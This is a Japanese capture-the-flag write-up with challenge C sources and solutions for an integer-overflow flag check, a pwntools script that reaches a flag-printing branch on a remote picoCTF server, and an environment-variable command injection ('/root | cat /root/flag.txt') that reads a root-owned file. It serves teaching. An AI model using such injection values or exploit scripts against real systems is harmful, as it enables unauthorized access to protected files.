Pwnable - 典型問題シリーズ
- Stack Overflow編
- ROP編
- Heap Exploit編
- FSB編
- その他編 (本記事)
目次
two-sum
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
足すとオーバーフローを起こすような整数を入力すればよい。
$ ./a.out
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
1500000000 1500000000
You entered 1500000000 and 1500000000
You have an integer overflow
YOUR FLAG IS: DUMMYFLAG
basic-file-exploit
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
strtol(entry, NULL, 10)) == 0を成立させたい。そのためには、strtol(entry, NULL, 10)が0になるか、整数以外の入力によって失敗する必要がある。
from pwn import *
import binascii
# r = remote("pwnable.kr", 9004)
context.log_level = 'error'
# r = process("./a.out")
r = remote("saturn.picoctf.net", 51109)
print(r.recvuntil(b"to exit the program"))
r.sendline(b"1")
print(r.recvuntil(b"Please enter your data:"))
r.sendline(b"1")
print(r.recvuntil(b"Please enter the length of your data:"))
r.sendline(b"1")
print(r.recvuntil(b"Write successful, would you like to do anything else?"))
r.sendline(b"2")
print(r.recvuntil(b"Please enter the entry number of your data:"))
r.sendline(b"0") # r.sendline(b"a") also works. (any kind of non-numeric characters)
print(r.recvline())
print(r.recvline())
print(r.recvline())
vne
対象のバイナリは、ls ${SECRET_DIR}を実行しているようである。そこで、以下のインジェクションを行う。
export SECRET_DIR="/root | cat /root/flag.txt"